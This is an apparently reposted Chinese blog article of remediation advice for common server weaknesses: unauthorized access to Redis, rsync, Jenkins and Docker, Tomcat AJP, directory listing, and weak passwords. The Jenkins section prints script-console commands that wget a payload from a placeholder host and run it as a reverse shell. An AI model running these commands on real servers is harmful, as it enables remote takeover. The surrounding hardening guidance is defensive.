Redis未授权访问
(1)漏洞详情
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。
在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
(2)漏洞危害【严重-高危】
一旦入侵成功,Redis数据会丢失,攻击者可直接添加账号用于ssh远程登录控制服务器,会给用户的 Redis 运行环境以及 Linux 主机造成安全风险,引发重要数据删除、泄露或加密勒索事件发生。
(3)修复建议
1.指定redis服务使用的网卡 (需要重启redis才能生效)redis默认是监听的127.0.0.1上,如果仅仅是本地通信,请确保监听在本地。
在 redis.conf
文件中找到 “# bind 127.0.0.1” 删除’#’,注:修改后只有本机才能访问Redis
也可以指定源IP访问
bind 192.168.1.100 10.0.0.1
2.设置防火墙策略。如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT
3.设置访问密码 (需要重启redis才能生效)
打开/etc/redis/redis.conf配置文件:
requirepass your_password
`
确保密码的复杂度,配置完毕后重启服务即可生效。
4.服务运行权限最小化,修改Redis服务运行账号 (需要重启redis才能生效)请以较低权限账号运行Redis服务,并禁用该账号的登录权限。
以下为创建一个无home目录和无法登陆的普通权限账号:
useradd -M -s /sbin/nologin
rsync服务弱验证
(1)漏洞详情
大多数管理启动rsync服务后立即使用,如果不经过安全加固,容易出现未授权访问、等配置不当的安全问题。
可对相关服务器进行如下测试
rsync X.X.X.X:: --port=1234
如果可列出相关目录,即存在漏洞
(2)漏洞危害【高危】
泄露目录敏感信息、任意文件下载、任意文件修改。
(3)修复建议
修改配置文件
增加白名单
hosts allow = 123.123.123.123
只允许指定的用户利用指定的密码使用rsync服务。
auth users = ottocho
secrets file = /etc/rsyncd.secrets
密码需满足强密码策略(即密码要求满足强密码策略,要求8位以上,包括大小写字母、数字、特殊字符混合体)
客户端登录时可
rsync -av --password-file=/etc/rsyncd.secrets test.host.com::files /des/path
Rsync 目录泄露
- 修改配置文件,只允许登陆之后查看同步目录
- 将服务移至内网或者设置防火墙策略
Jenkins未授权访问
(1)漏洞详情
默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
(2)漏洞危害【严重-高危】
攻击者可以通过脚本命令行进行任意命令执行
println "ifconfig -a".execute().text
或者直接wget反弹shell
println "wget http://evaldomain/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
等各种利用方式执行命令。
(3)修复建议
1、禁止把Jenkins直接暴露在公网;
2、添加认证,设置强密码复杂度及账号锁定
。
Docker未授权访问
(1)漏洞详情
Docker Remote API是一个取代远程命令行界面(rcli)的REST API。
(2)漏洞危害【严重-高危】
通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell
。
(3)修复建议
1、在不必需的情况下,不要启用
docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL
,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
2、客户端连接时需要设置以下环境变量
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服务器前面加一个代理
,例如 nginx,设置 401 认证
开放目录访问
关闭目录浏览功能
- IIS:在 IIS 的网站属性中,勾去
目录浏览
选项后重启 IIS。 - Apache:打开 Apache 配置文件
httpd.conf
,查找Options Indexes FollowSymLinks
,修改为Options -Indexes
(减号表示取消),保存退出,重启 Apache。 - Nginx:默认不会开启目录浏览功能,若已开启,可以编辑
nginx.conf
,删除如下两行:autoindex on; autoindex_exact_size on;
重启 Nginx。
CVE-2020-1938 Tomcat AJP LFI
- 临时禁用AJP协议端口,在
conf/server.xml
配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />
- 配置 ajp 的
secretRequired
与secret
属性来限制认证 - 升级至最新版。
参考链接:
https://www.cnblogs.com/L0ading/p/12341112.html
https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
Tomcat 弱口令
- 加上强密码
- 用白名单限制访问
- 移至内网
- 下线处理
MySQL 弱口令
- 加上高强度的密码
- 将服务移至内网或者设置防火墙策略
- 以最小的权限运行 MySQL 服务。
FTP 弱口令
- 加上高强度的密码
- 将服务移至内网或者设置防火墙策略
Flume 开放
- 添加认证。
- 将服务移至内网或者设置防火墙策略。
转载请注明:SuperIT » 常见安全漏洞修复建议-2